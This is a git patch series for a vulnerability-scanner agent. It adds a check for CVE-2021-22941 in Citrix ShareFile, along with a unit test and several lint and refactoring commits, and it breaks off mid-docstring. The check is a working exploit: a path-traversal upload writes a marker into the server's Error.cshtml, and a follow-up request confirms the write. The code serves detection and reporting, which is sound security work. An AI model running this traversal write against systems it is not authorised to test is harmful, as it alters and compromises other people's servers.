From 9ebb6b410131416bc5790fa5fa6ea570bbb41f47 Mon Sep 17 00:00:00 2001 From: ostorlab Date: Thu, 9 Nov 2023 15:19:50 +0100 Subject: [PATCH 01/23] CVE-2021-22941 --- agent/definitions.py | 52 +++++++++++++ agent/exploits/CVE_2021_22941.py | 123 +++++++++++++++++++++++++++++++ agent/exploits/__init__.py | 0 tests/exploits_test.py | 33 +++++++++ tests/template_agent_test.py | 6 -- 5 files changed, 208 insertions(+), 6 deletions(-) create mode 100644 agent/definitions.py create mode 100644 agent/exploits/CVE_2021_22941.py create mode 100644 agent/exploits/__init__.py create mode 100644 tests/exploits_test.py delete mode 100644 tests/template_agent_test.py diff --git a/agent/definitions.py b/agent/definitions.py new file mode 100644 index 00000000..9e024fcd --- /dev/null +++ b/agent/definitions.py @@ -0,0 +1,52 @@ +import abc +import dataclasses + +from ostorlab.agent.kb import kb +from ostorlab.agent.mixins import agent_report_vulnerability_mixin as vuln_mixin + + +@dataclasses.dataclass +class Vulnerability: + """Vulnerability entry with technical details, custom risk rating, DNA for unique identification and location.""" + + entry: kb.Entry + technical_detail: str + risk_rating: vuln_mixin.RiskRating + dna: str | None = None + vulnerability_location: vuln_mixin.VulnerabilityLocation | None = None + + +class BaseExploit(abc.ABC): + """Base Exploit""" + + @property + @abc.abstractmethod + def vulnerability_title(self) -> str: + """Vulnerability title""" + pass + + @property + @abc.abstractmethod + def vulnerability_reference(self) -> str: + """Vulnerability reference (ie. CVE)""" + pass + + @property + @abc.abstractmethod + def vulnerability_description(self) -> str: + """Vulnerability description""" + pass + + def is_target_valid(self) -> bool: + return False + + def check(self) -> list[Vulnerability] | None: + """Rule to detect specific vulnerability on a specific target. + + Args: + target: Target host/ip + + Returns: + List of identified vulnerabilities. + """ + return None diff --git a/agent/exploits/CVE_2021_22941.py b/agent/exploits/CVE_2021_22941.py new file mode 100644 index 00000000..8e8b8360 --- /dev/null +++ b/agent/exploits/CVE_2021_22941.py @@ -0,0 +1,123 @@ +import logging +import uuid +import warnings + +import requests +from ostorlab.agent.kb import kb +from ostorlab.agent.mixins import agent_report_vulnerability_mixin +from requests import exceptions as requests_exceptions +from rich import logging as rich_logging + +from agent import definitions + +warnings.filterwarnings("ignore") + +DEFAULT_TIMEOUT = 90 + +logging.basicConfig( + format="%(message)s", + datefmt="[%X]", + handlers=[rich_logging.RichHandler(rich_tracebacks=True)], + level="INFO", + force=True, +) +logger = logging.getLogger(__name__) + + +def _encode_multipart_formdata(files): + boundary = "boundary" + body = "".join( + "--%s\r\n" + 'Content-Disposition: form-data; name="%s"; filename="%s"\r\n' + "\r\n" + "%s\r\n" % (boundary, files["name"], files["filename"], files["content_file"]) + + "--%s--\r\n" % boundary + ) + content_type = "multipart/form-data; boundary=%s" % boundary + return body, content_type + + +class Exploit(definitions.BaseExploit): + """ + CVE: CVE-2021-22941 + """ + + def __init__(self, target): + self.target = target + + @property + def vulnerability_title(self) -> str: + return "Improper Access Control in Citrix ShareFile storage zones controller" + + @property + def vulnerability_reference(self) -> str: + return "CVE-2021-22941" + + @property + def vulnerability_description(self) -> str: + return ( + "Improper Access Control in Citrix ShareFile storage zones controller before 5.11.20 may " + "allow an unauthenticated attacker to remotely compromise the storage zones controller." + ) + + def is_target_valid(self) -> bool: + try: + req = requests.get(self.target, verify=False, timeout=DEFAULT_TIMEOUT) + except requests_exceptions.RequestException: + logger.error("Failed to reach target %s", self.target) + return False + return "ShareFile" in req.text + + def check(self) -> list[definitions.Vulnerability] | None: + content_file = "A" * 4096 + files = {"name": "text4", "filename": "text5", "content_file": content_file} + data, content_type = _encode_multipart_formdata(files) + headers = {"Content-Type": content_type} + payload = "__VULNERABLE__" + params = { + "uploadid": payload + "/../../ConfigService\Views\Shared\Error.cshtml", + "bp": "123", + "accountid": "123", + } + target_endpoint = self.target + "/upload.aspx" + try: + requests.post( + target_endpoint, data=data, params=params, headers=headers, verify=False + ) + req = requests.get(self.target + "/configservice/Home/Error", verify=False) + except requests_exceptions.RequestException as exc: + logger.error("Failed to send payload, error message: %s", exc) + return + if payload not in req.text: + return + + vulnerability = self.generate_vulnerability_object() + return [vulnerability] + + def generate_vulnerability_object(self): + entry = kb.Entry( + title=self.vulnerability_title, + risk_rating="HIGH", + short_description=self.vulnerability_description, + description=self.vulnerability_description, + references={ + "nvd.nist.gov": "https://nvd.nist.gov/vuln/detail/CVE-2021-22941" + }, + recommendation=( + "- Make sure to install the latest security patches from software vendor \n" + "- Update to the latest software version" + ), + security_issue=True, + privacy_issue=False, + has_public_exploit=False, + targeted_by_malware=False, + targeted_by_ransomware=False, + targeted_by_nation_state=False, + ) + technical_detail = f"{self.target} is vulnerable to {self.vulnerability_reference}, {self.vulnerability_title}" + vulnerability = definitions.Vulnerability( + entry=entry, + technical_detail=technical_detail, + risk_rating=agent_report_vulnerability_mixin.RiskRating.HIGH, + ) + return vulnerability diff --git a/agent/exploits/__init__.py b/agent/exploits/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/tests/exploits_test.py b/tests/exploits_test.py new file mode 100644 index 00000000..a3575373 --- /dev/null +++ b/tests/exploits_test.py @@ -0,0 +1,33 @@ +from agent.exploits import CVE_2021_22941 +import requests_mock as req_mock +import re + + +def testCVE_2021_22941_whenVulnerable_reportFinding( + requests_mock: req_mock.mocker.Mocker, +): + exploit_instance = CVE_2021_22941.Exploit("https://75.162.65.52") + requests_mock.post(re.compile("https://75.162.65.52")) + requests_mock.get( + re.compile("https://75.162.65.52"), + content=b'' + b'' + b"" + b'' + b'' + b"__VULNERABLE__/../../ConfigService\\Views\\Shared\\Error.cshtml,4190,4190,1,638351359841918992,638351359844106518" + b'' + b"", + ) + + vulnerabilities = exploit_instance.check() + + vulnerability = vulnerabilities[0] + assert ( + vulnerability.entry.title + == "Improper Access Control in Citrix ShareFile storage zones controller" + ) + assert ( + vulnerability.technical_detail + == "https://75.162.65.52 is vulnerable to CVE-2021-22941, Improper Access Control in Citrix ShareFile storage zones controller" + ) diff --git a/tests/template_agent_test.py b/tests/template_agent_test.py deleted file mode 100644 index 0e4b31a4..00000000 --- a/tests/template_agent_test.py +++ /dev/null @@ -1,6 +0,0 @@ -"""Unittests for agent.""" - - -def testAgent() -> None: - """Fake test.""" - assert True From dfdeeafde02dda89c0709d8607a09f774786e598 Mon Sep 17 00:00:00 2001 From: ostorlab Date: Thu, 9 Nov 2023 15:33:50 +0100 Subject: [PATCH 02/23] Fix tests + linting --- agent/definitions.py | 1 + .../{CVE_2021_22941.py => cve_2021_22941.py} | 26 ++++++++++++------- requirement.txt | 1 + tests/exploits_test.py | 11 +++++--- tests/test-requirement.txt | 1 + 5 files changed, 27 insertions(+), 13 deletions(-) rename agent/exploits/{CVE_2021_22941.py => cve_2021_22941.py} (82%) diff --git a/agent/definitions.py b/agent/definitions.py index 9e024fcd..7e200a23 100644 --- a/agent/definitions.py +++ b/agent/definitions.py @@ -1,3 +1,4 @@ +"""Agent Asteriod definitions""" import abc import dataclasses diff --git a/agent/exploits/CVE_2021_22941.py b/agent/exploits/cve_2021_22941.py similarity index 82% rename from agent/exploits/CVE_2021_22941.py rename to agent/exploits/cve_2021_22941.py index 8e8b8360..17298a8a 100644 --- a/agent/exploits/CVE_2021_22941.py +++ b/agent/exploits/cve_2021_22941.py @@ -1,5 +1,5 @@ +"""agent asteroid implementation for CVE-2021-22941""" import logging -import uuid import warnings import requests @@ -27,13 +27,12 @@ def _encode_multipart_formdata(files): boundary = "boundary" body = "".join( - "--%s\r\n" - 'Content-Disposition: form-data; name="%s"; filename="%s"\r\n' + f"--{boundary}\r\n" + f'Content-Disposition: form-data; name="{files["name"]}"; filename="{files["filename"]}"\r\n' "\r\n" - "%s\r\n" % (boundary, files["name"], files["filename"], files["content_file"]) - + "--%s--\r\n" % boundary + f"{files['content_file']}\r\n" + f"--{boundary}--\r\n" ) - content_type = "multipart/form-data; boundary=%s" % boundary + content_type = f"multipart/form-data; boundary={boundary}" return body, content_type @@ -75,16 +74,25 @@ def check(self) -> list[definitions.Vulnerability] | None: headers = {"Content-Type": content_type} payload = "__VULNERABLE__" params = { - "uploadid": payload + "/../../ConfigService\Views\Shared\Error.cshtml", + "uploadid": payload + r"/../../ConfigService\Views\Shared\Error.cshtml", "bp": "123", "accountid": "123", } target_endpoint = self.target + "/upload.aspx" try: requests.post( - target_endpoint, data=data, params=params, headers=headers, verify=False + target_endpoint, + data=data, + params=params, + headers=headers, + verify=False, + timeout=DEFAULT_TIMEOUT, + ) + req = requests.get( + self.target + "/configservice/Home/Error", + verify=False, + timeout=DEFAULT_TIMEOUT, ) - req = requests.get(self.target + "/configservice/Home/Error", verify=False) except requests_exceptions.RequestException as exc: logger.error("Failed to send payload, error message: %s", exc) return diff --git a/requirement.txt b/requirement.txt index 5e5905c6..b38db17b 100644 --- a/requirement.txt +++ b/requirement.txt @@ -1,2 +1,3 @@ ostorlab[agent] rich +requests \ No newline at end of file diff --git a/tests/exploits_test.py b/tests/exploits_test.py index a3575373..b6ec54e6 100644 --- a/tests/exploits_test.py +++ b/tests/exploits_test.py @@ -1,4 +1,5 @@ -from agent.exploits import CVE_2021_22941 +"""Unit tests for Agent Asteriod exploits""" +from agent.exploits import cve_2021_22941 import requests_mock as req_mock import re @@ -6,7 +7,7 @@ def testCVE_2021_22941_whenVulnerable_reportFinding( requests_mock: req_mock.mocker.Mocker, ): - exploit_instance = CVE_2021_22941.Exploit("https://75.162.65.52") + exploit_instance = cve_2021_22941.Exploit("https://75.162.65.52") requests_mock.post(re.compile("https://75.162.65.52")) requests_mock.get( re.compile("https://75.162.65.52"), @@ -15,7 +16,8 @@ def testCVE_2021_22941_whenVulnerable_reportFinding( b"" b'' b'' - b"__VULNERABLE__/../../ConfigService\\Views\\Shared\\Error.cshtml,4190,4190,1,638351359841918992,638351359844106518" + b"__VULNERABLE__/../../ConfigService\\Views\\Shared\\Error.cshtml," + b"4190,4190,1,638351359841918992,638351359844106518" b'' b"", ) @@ -29,5 +31,6 @@ def testCVE_2021_22941_whenVulnerable_reportFinding( ) assert ( vulnerability.technical_detail - == "https://75.162.65.52 is vulnerable to CVE-2021-22941, Improper Access Control in Citrix ShareFile storage zones controller" + == "https://75.162.65.52 is vulnerable to CVE-2021-22941, Improper Access Control " + "in Citrix ShareFile storage zones controller" ) diff --git a/tests/test-requirement.txt b/tests/test-requirement.txt index a85bde23..555a718f 100644 --- a/tests/test-requirement.txt +++ b/tests/test-requirement.txt @@ -3,3 +3,4 @@ pytest black mypy typing-extensions +requests_mock \ No newline at end of file From d9088ff37f104908598ec67761bdf3f37cd160cd Mon Sep 17 00:00:00 2001 From: ostorlab Date: Thu, 9 Nov 2023 15:40:23 +0100 Subject: [PATCH 03/23] Fix mypy --- agent/exploits/cve_2021_22941.py | 12 ++++++------ requirement.txt | 3 ++- tests/exploits_test.py | 2 +- 3 files changed, 9 insertions(+), 8 deletions(-) diff --git a/agent/exploits/cve_2021_22941.py b/agent/exploits/cve_2021_22941.py index 17298a8a..9f9846ff 100644 --- a/agent/exploits/cve_2021_22941.py +++ b/agent/exploits/cve_2021_22941.py @@ -24,7 +24,7 @@ logger = logging.getLogger(__name__) -def _encode_multipart_formdata(files): +def _encode_multipart_formdata(files: dict[str, str]) -> tuple[str, str]: boundary = "boundary" body = "".join( f"--{boundary}\r\n" @@ -41,7 +41,7 @@ class Exploit(definitions.BaseExploit): CVE: CVE-2021-22941 """ - def __init__(self, target): + def __init__(self, target: str): self.target = target @property @@ -67,7 +67,7 @@ def is_target_valid(self) -> bool: return False return "ShareFile" in req.text - def check(self) -> list[definitions.Vulnerability] | None: + def check(self) -> list[definitions.Vulnerability]: content_file = "A" * 4096 files = {"name": "text4", "filename": "text5", "content_file": content_file} data, content_type = _encode_multipart_formdata(files) @@ -95,14 +95,14 @@ def check(self) -> list[definitions.Vulnerability] | None: ) except requests_exceptions.RequestException as exc: logger.error("Failed to send payload, error message: %s", exc) - return + return [] if payload not in req.text: - return + return [] vulnerability = self.generate_vulnerability_object() return [vulnerability] - def generate_vulnerability_object(self): + def generate_vulnerability_object(self) -> definitions.Vulnerability: entry = kb.Entry( title=self.vulnerability_title, risk_rating="HIGH", diff --git a/requirement.txt b/requirement.txt index b38db17b..5dae881e 100644 --- a/requirement.txt +++ b/requirement.txt @@ -1,3 +1,4 @@ ostorlab[agent] rich -requests \ No newline at end of file +requests +types-requests \ No newline at end of file diff --git a/tests/exploits_test.py b/tests/exploits_test.py index b6ec54e6..5c7f96ff 100644 --- a/tests/exploits_test.py +++ b/tests/exploits_test.py @@ -6,7 +6,7 @@ def testCVE_2021_22941_whenVulnerable_reportFinding( requests_mock: req_mock.mocker.Mocker, -): +) -> None: exploit_instance = cve_2021_22941.Exploit("https://75.162.65.52") requests_mock.post(re.compile("https://75.162.65.52")) requests_mock.get( From 1474de2133e88d362c99c15ab5685c252dc15382 Mon Sep 17 00:00:00 2001 From: ostorlab Date: Thu, 9 Nov 2023 15:42:04 +0100 Subject: [PATCH 04/23] Fix docstring --- agent/definitions.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/agent/definitions.py b/agent/definitions.py index 7e200a23..6c6970a6 100644 --- a/agent/definitions.py +++ b/agent/definitions.py @@ -45,7 +45,7 @@ def check(self) -> list[Vulnerability] | None: """Rule to detect specific vulnerability on a specific target. Args: - target: Target host/ip + Returns: List of identified vulnerabilities. From 215b4720287b41e271e21e5d161849581a6305cc Mon Sep 17 00:00:00 2001 From: ostorlab Date: Thu, 9 Nov 2023 15:43:04 +0100 Subject: [PATCH 05/23] Fix docstring --- agent/exploits/cve_2021_22941.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/agent/exploits/cve_2021_22941.py b/agent/exploits/cve_2021_22941.py index 9f9846ff..f35a8435 100644 --- a/agent/exploits/cve_2021_22941.py +++ b/agent/exploits/cve_2021_22941.py @@ -1,4 +1,4 @@ -"""agent asteroid implementation for CVE-2021-22941""" +"""Agent Asteroid implementation for CVE-2021-22941""" import logging import warnings From 8a0ddc8f211450be98ac9a50f6fa07027a9f78d6 Mon Sep 17 00:00:00 2001 From: Mohamed Benchikh <129080649+BlueSquare1@users.noreply.github.com> Date: Fri, 10 Nov 2023 10:12:29 +0100 Subject: [PATCH 06/23] Update tests/exploits_test.py Co-authored-by: Mohamed Elyousfi <144013278+elyousfi5@users.noreply.github.com> --- tests/exploits_test.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/exploits_test.py b/tests/exploits_test.py index 5c7f96ff..5a864ce7 100644 --- a/tests/exploits_test.py +++ b/tests/exploits_test.py @@ -23,8 +23,8 @@ def testCVE_2021_22941_whenVulnerable_reportFinding( ) vulnerabilities = exploit_instance.check() - vulnerability = vulnerabilities[0] + assert ( vulnerability.entry.title == "Improper Access Control in Citrix ShareFile storage zones controller" From 9b66440a277f435a1aabbd8536daeaa09deaa3c1 Mon Sep 17 00:00:00 2001 From: ostorlab Date: Fri, 10 Nov 2023 10:53:17 +0100 Subject: [PATCH 07/23] Black! --- tests/exploits_test.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/exploits_test.py b/tests/exploits_test.py index 5a864ce7..bc4069f6 100644 --- a/tests/exploits_test.py +++ b/tests/exploits_test.py @@ -24,7 +24,7 @@ def testCVE_2021_22941_whenVulnerable_reportFinding( vulnerabilities = exploit_instance.check() vulnerability = vulnerabilities[0] - + assert ( vulnerability.entry.title == "Improper Access Control in Citrix ShareFile storage zones controller" From 2b94431d08be0a2f0b5f8a68cb07ee6f4a532dff Mon Sep 17 00:00:00 2001 From: ostorlab Date: Mon, 13 Nov 2023 14:45:42 +0100 Subject: [PATCH 08/23] Address comments --- agent/definitions.py | 8 +++++--- agent/exploits/cve_2021_22941.py | 21 ++------------------- tests/exploits_test.py | 1 + 3 files changed, 8 insertions(+), 22 deletions(-) diff --git a/agent/definitions.py b/agent/definitions.py index 6c6970a6..45801a86 100644 --- a/agent/definitions.py +++ b/agent/definitions.py @@ -38,9 +38,11 @@ def vulnerability_description(self) -> str: """Vulnerability description""" pass - def is_target_valid(self) -> bool: - return False + @abc.abstractmethod + def accept(self) -> bool: + pass + @abc.abstractmethod def check(self) -> list[Vulnerability] | None: """Rule to detect specific vulnerability on a specific target. @@ -50,4 +52,4 @@ def check(self) -> list[Vulnerability] | None: Returns: List of identified vulnerabilities. """ - return None + pass diff --git a/agent/exploits/cve_2021_22941.py b/agent/exploits/cve_2021_22941.py index f35a8435..791ab9ce 100644 --- a/agent/exploits/cve_2021_22941.py +++ b/agent/exploits/cve_2021_22941.py @@ -1,29 +1,14 @@ """Agent Asteroid implementation for CVE-2021-22941""" -import logging -import warnings import requests from ostorlab.agent.kb import kb from ostorlab.agent.mixins import agent_report_vulnerability_mixin from requests import exceptions as requests_exceptions -from rich import logging as rich_logging from agent import definitions -warnings.filterwarnings("ignore") - DEFAULT_TIMEOUT = 90 -logging.basicConfig( - format="%(message)s", - datefmt="[%X]", - handlers=[rich_logging.RichHandler(rich_tracebacks=True)], - level="INFO", - force=True, -) -logger = logging.getLogger(__name__) - - def _encode_multipart_formdata(files: dict[str, str]) -> tuple[str, str]: boundary = "boundary" body = "".join( @@ -38,7 +23,7 @@ def _encode_multipart_formdata(files: dict[str, str]) -> tuple[str, str]: class Exploit(definitions.BaseExploit): """ - CVE: CVE-2021-22941 + CVE-2021-22941: Improper Access Control in Citrix ShareFile storage zones controller """ def __init__(self, target: str): @@ -59,11 +44,10 @@ def vulnerability_description(self) -> str: "allow an unauthenticated attacker to remotely compromise the storage zones controller." ) - def is_target_valid(self) -> bool: + def accept(self) -> bool: try: req = requests.get(self.target, verify=False, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: - logger.error("Failed to reach target %s", self.target) return False return "ShareFile" in req.text @@ -94,7 +78,6 @@ def check(self) -> list[definitions.Vulnerability]: timeout=DEFAULT_TIMEOUT, ) except requests_exceptions.RequestException as exc: - logger.error("Failed to send payload, error message: %s", exc) return [] if payload not in req.text: return [] diff --git a/tests/exploits_test.py b/tests/exploits_test.py index bc4069f6..21d74710 100644 --- a/tests/exploits_test.py +++ b/tests/exploits_test.py @@ -7,6 +7,7 @@ def testCVE_2021_22941_whenVulnerable_reportFinding( requests_mock: req_mock.mocker.Mocker, ) -> None: + """Unit test for CVE-2021-22941, case when target is vulnerable""" exploit_instance = cve_2021_22941.Exploit("https://75.162.65.52") requests_mock.post(re.compile("https://75.162.65.52")) requests_mock.get( From 05b15d2996fcc02a65755e7fe7c2fbfaa999e61e Mon Sep 17 00:00:00 2001 From: ostorlab Date: Mon, 13 Nov 2023 15:04:49 +0100 Subject: [PATCH 09/23] Black! --- agent/exploits/cve_2021_22941.py | 1 + 1 file changed, 1 insertion(+) diff --git a/agent/exploits/cve_2021_22941.py b/agent/exploits/cve_2021_22941.py index 791ab9ce..eb36236a 100644 --- a/agent/exploits/cve_2021_22941.py +++ b/agent/exploits/cve_2021_22941.py @@ -9,6 +9,7 @@ DEFAULT_TIMEOUT = 90 + def _encode_multipart_formdata(files: dict[str, str]) -> tuple[str, str]: boundary = "boundary" body = "".join( From 278fb4acde4c865df9cf4f0128cdc43b4f0f1656 Mon Sep 17 00:00:00 2001 From: ostorlab Date: Mon, 13 Nov 2023 15:08:34 +0100 Subject: [PATCH 10/23] pylint --- agent/exploits/cve_2021_22941.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/agent/exploits/cve_2021_22941.py b/agent/exploits/cve_2021_22941.py index eb36236a..0d11fa2e 100644 --- a/agent/exploits/cve_2021_22941.py +++ b/agent/exploits/cve_2021_22941.py @@ -78,7 +78,7 @@ def check(self) -> list[definitions.Vulnerability]: verify=False, timeout=DEFAULT_TIMEOUT, ) - except requests_exceptions.RequestException as exc: + except requests_exceptions.RequestException: return [] if payload not in req.text: return [] From 62e5055b7710eb736b48279b8cc9fb81ee1fc120 Mon Sep 17 00:00:00 2001 From: ostorlab Date: Mon, 13 Nov 2023 17:39:46 +0100 Subject: [PATCH 11/23] Use consts instead of properties --- agent/definitions.py | 20 +---------------- agent/exploits/cve_2021_22941.py | 37 +++++++++++++++----------------- 2 files changed, 18 insertions(+), 39 deletions(-) diff --git a/agent/definitions.py b/agent/definitions.py index 45801a86..4b4c46de 100644 --- a/agent/definitions.py +++ b/agent/definitions.py @@ -20,30 +20,12 @@ class Vulnerability: class BaseExploit(abc.ABC): """Base Exploit""" - @property - @abc.abstractmethod - def vulnerability_title(self) -> str: - """Vulnerability title""" - pass - - @property - @abc.abstractmethod - def vulnerability_reference(self) -> str: - """Vulnerability reference (ie. CVE)""" - pass - - @property - @abc.abstractmethod - def vulnerability_description(self) -> str: - """Vulnerability description""" - pass - @abc.abstractmethod def accept(self) -> bool: pass @abc.abstractmethod - def check(self) -> list[Vulnerability] | None: + def check(self) -> list[Vulnerability]: """Rule to detect specific vulnerability on a specific target. Args: diff --git a/agent/exploits/cve_2021_22941.py b/agent/exploits/cve_2021_22941.py index 0d11fa2e..e32d8ee6 100644 --- a/agent/exploits/cve_2021_22941.py +++ b/agent/exploits/cve_2021_22941.py @@ -27,24 +27,18 @@ class Exploit(definitions.BaseExploit): CVE-2021-22941: Improper Access Control in Citrix ShareFile storage zones controller """ + VULNERABILITY_TITLE = ( + "Improper Access Control in Citrix ShareFile storage zones controller" + ) + VULNERABILITY_REFERENCE = "CVE-2021-22941" + VULNERABILITY_DESCRIPTION = ( + "Improper Access Control in Citrix ShareFile storage zones controller before 5.11.20 may " + "allow an unauthenticated attacker to remotely compromise the storage zones controller." + ) + def __init__(self, target: str): self.target = target - @property - def vulnerability_title(self) -> str: - return "Improper Access Control in Citrix ShareFile storage zones controller" - - @property - def vulnerability_reference(self) -> str: - return "CVE-2021-22941" - - @property - def vulnerability_description(self) -> str: - return ( - "Improper Access Control in Citrix ShareFile storage zones controller before 5.11.20 may " - "allow an unauthenticated attacker to remotely compromise the storage zones controller." - ) - def accept(self) -> bool: try: req = requests.get(self.target, verify=False, timeout=DEFAULT_TIMEOUT) @@ -88,12 +82,12 @@ def check(self) -> list[definitions.Vulnerability]: def generate_vulnerability_object(self) -> definitions.Vulnerability: entry = kb.Entry( - title=self.vulnerability_title, + title=Exploit.VULNERABILITY_TITLE, risk_rating="HIGH", - short_description=self.vulnerability_description, - description=self.vulnerability_description, + short_description=Exploit.VULNERABILITY_DESCRIPTION, + description=Exploit.VULNERABILITY_DESCRIPTION, references={ - "nvd.nist.gov": "https://nvd.nist.gov/vuln/detail/CVE-2021-22941" + "nvd.nist.gov": f"https://nvd.nist.gov/vuln/detail/{Exploit.VULNERABILITY_REFERENCE}" }, recommendation=( "- Make sure to install the latest security patches from software vendor \n" @@ -106,7 +100,10 @@ def generate_vulnerability_object(self) -> definitions.Vulnerability: targeted_by_ransomware=False, targeted_by_nation_state=False, ) - technical_detail = f"{self.target} is vulnerable to {self.vulnerability_reference}, {self.vulnerability_title}" + technical_detail = ( + f"{self.target} is vulnerable to {Exploit.VULNERABILITY_REFERENCE}, " + f"{Exploit.VULNERABILITY_TITLE}" + ) vulnerability = definitions.Vulnerability( entry=entry, technical_detail=technical_detail, From 88fbfca5639c1ab35188ade52523cc1ff49a9819 Mon Sep 17 00:00:00 2001 From: ostorlab Date: Mon, 13 Nov 2023 17:54:02 +0100 Subject: [PATCH 12/23] Use consts instead of properties --- agent/exploits/cve_2021_22941.py | 30 +++++++++++++++--------------- 1 file changed, 15 insertions(+), 15 deletions(-) diff --git a/agent/exploits/cve_2021_22941.py b/agent/exploits/cve_2021_22941.py index e32d8ee6..66a77b7a 100644 --- a/agent/exploits/cve_2021_22941.py +++ b/agent/exploits/cve_2021_22941.py @@ -7,6 +7,15 @@ from agent import definitions +VULNERABILITY_TITLE = ( + "Improper Access Control in Citrix ShareFile storage zones controller" +) +VULNERABILITY_REFERENCE = "CVE-2021-22941" +VULNERABILITY_DESCRIPTION = ( + "Improper Access Control in Citrix ShareFile storage zones controller before 5.11.20 may " + "allow an unauthenticated attacker to remotely compromise the storage zones controller." +) + DEFAULT_TIMEOUT = 90 @@ -27,15 +36,6 @@ class Exploit(definitions.BaseExploit): CVE-2021-22941: Improper Access Control in Citrix ShareFile storage zones controller """ - VULNERABILITY_TITLE = ( - "Improper Access Control in Citrix ShareFile storage zones controller" - ) - VULNERABILITY_REFERENCE = "CVE-2021-22941" - VULNERABILITY_DESCRIPTION = ( - "Improper Access Control in Citrix ShareFile storage zones controller before 5.11.20 may " - "allow an unauthenticated attacker to remotely compromise the storage zones controller." - ) - def __init__(self, target: str): self.target = target @@ -82,12 +82,12 @@ def check(self) -> list[definitions.Vulnerability]: def generate_vulnerability_object(self) -> definitions.Vulnerability: entry = kb.Entry( - title=Exploit.VULNERABILITY_TITLE, + title=VULNERABILITY_TITLE, risk_rating="HIGH", - short_description=Exploit.VULNERABILITY_DESCRIPTION, - description=Exploit.VULNERABILITY_DESCRIPTION, + short_description=VULNERABILITY_DESCRIPTION, + description=VULNERABILITY_DESCRIPTION, references={ - "nvd.nist.gov": f"https://nvd.nist.gov/vuln/detail/{Exploit.VULNERABILITY_REFERENCE}" + "nvd.nist.gov": f"https://nvd.nist.gov/vuln/detail/{VULNERABILITY_REFERENCE}" }, recommendation=( "- Make sure to install the latest security patches from software vendor \n" @@ -101,8 +101,8 @@ def generate_vulnerability_object(self) -> definitions.Vulnerability: targeted_by_nation_state=False, ) technical_detail = ( - f"{self.target} is vulnerable to {Exploit.VULNERABILITY_REFERENCE}, " - f"{Exploit.VULNERABILITY_TITLE}" + f"{self.target} is vulnerable to {VULNERABILITY_REFERENCE}, " + f"{VULNERABILITY_TITLE}" ) vulnerability = definitions.Vulnerability( entry=entry, From 208e187f462d0a1916280386517e7d1a627cc4ee Mon Sep 17 00:00:00 2001 From: ostorlab Date: Tue, 14 Nov 2023 10:14:48 +0100 Subject: [PATCH 13/23] Move typing to test reqs --- requirement.txt | 1 - tests/test-requirement.txt | 3 ++- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/requirement.txt b/requirement.txt index 5dae881e..1180728a 100644 --- a/requirement.txt +++ b/requirement.txt @@ -1,4 +1,3 @@ ostorlab[agent] rich requests -types-requests \ No newline at end of file diff --git a/tests/test-requirement.txt b/tests/test-requirement.txt index 555a718f..80b4a938 100644 --- a/tests/test-requirement.txt +++ b/tests/test-requirement.txt @@ -3,4 +3,5 @@ pytest black mypy typing-extensions -requests_mock \ No newline at end of file +requests_mock +types-requests From e3d2472a97741566aeb2bc85e36c43073d3a80ce Mon Sep 17 00:00:00 2001 From: ostorlab Date: Tue, 14 Nov 2023 10:16:49 +0100 Subject: [PATCH 14/23] rename class --- agent/definitions.py | 2 +- agent/exploits/cve_2021_22941.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/agent/definitions.py b/agent/definitions.py index 4b4c46de..e957ffbd 100644 --- a/agent/definitions.py +++ b/agent/definitions.py @@ -17,7 +17,7 @@ class Vulnerability: vulnerability_location: vuln_mixin.VulnerabilityLocation | None = None -class BaseExploit(abc.ABC): +class Exploit(abc.ABC): """Base Exploit""" @abc.abstractmethod diff --git a/agent/exploits/cve_2021_22941.py b/agent/exploits/cve_2021_22941.py index 66a77b7a..18c66b6f 100644 --- a/agent/exploits/cve_2021_22941.py +++ b/agent/exploits/cve_2021_22941.py @@ -31,7 +31,7 @@ def _encode_multipart_formdata(files: dict[str, str]) -> tuple[str, str]: return body, content_type -class Exploit(definitions.BaseExploit): +class CVE2022294Exploit(definitions.Exploit): """ CVE-2021-22941: Improper Access Control in Citrix ShareFile storage zones controller """ From 36909e5d5fe4e35a79bb365559c7e83e9d0fdd66 Mon Sep 17 00:00:00 2001 From: ostorlab Date: Tue, 14 Nov 2023 10:21:08 +0100 Subject: [PATCH 15/23] fix linting --- tests/exploits_test.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/exploits_test.py b/tests/exploits_test.py index 21d74710..3d0e28be 100644 --- a/tests/exploits_test.py +++ b/tests/exploits_test.py @@ -8,7 +8,7 @@ def testCVE_2021_22941_whenVulnerable_reportFinding( requests_mock: req_mock.mocker.Mocker, ) -> None: """Unit test for CVE-2021-22941, case when target is vulnerable""" - exploit_instance = cve_2021_22941.Exploit("https://75.162.65.52") + exploit_instance = cve_2021_22941.CVE2022294Exploit("https://75.162.65.52") requests_mock.post(re.compile("https://75.162.65.52")) requests_mock.get( re.compile("https://75.162.65.52"), From 0fc6fd781e0ecffda30ff6bb1220aa6d33040a74 Mon Sep 17 00:00:00 2001 From: ostorlab Date: Tue, 14 Nov 2023 10:25:14 +0100 Subject: [PATCH 16/23] Optimize imports --- tests/exploits_test.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/tests/exploits_test.py b/tests/exploits_test.py index 3d0e28be..0ea79a45 100644 --- a/tests/exploits_test.py +++ b/tests/exploits_test.py @@ -1,8 +1,10 @@ """Unit tests for Agent Asteriod exploits""" -from agent.exploits import cve_2021_22941 -import requests_mock as req_mock import re +import requests_mock as req_mock + +from agent.exploits import cve_2021_22941 + def testCVE_2021_22941_whenVulnerable_reportFinding( requests_mock: req_mock.mocker.Mocker, From bcaf633e7f1867350dbd6f6441f076e88819faa0 Mon Sep 17 00:00:00 2001 From: ostorlab Date: Tue, 14 Nov 2023 15:40:49 +0100 Subject: [PATCH 17/23] Docstring --- agent/definitions.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/agent/definitions.py b/agent/definitions.py index e957ffbd..cbe4189a 100644 --- a/agent/definitions.py +++ b/agent/definitions.py @@ -28,9 +28,6 @@ def accept(self) -> bool: def check(self) -> list[Vulnerability]: """Rule 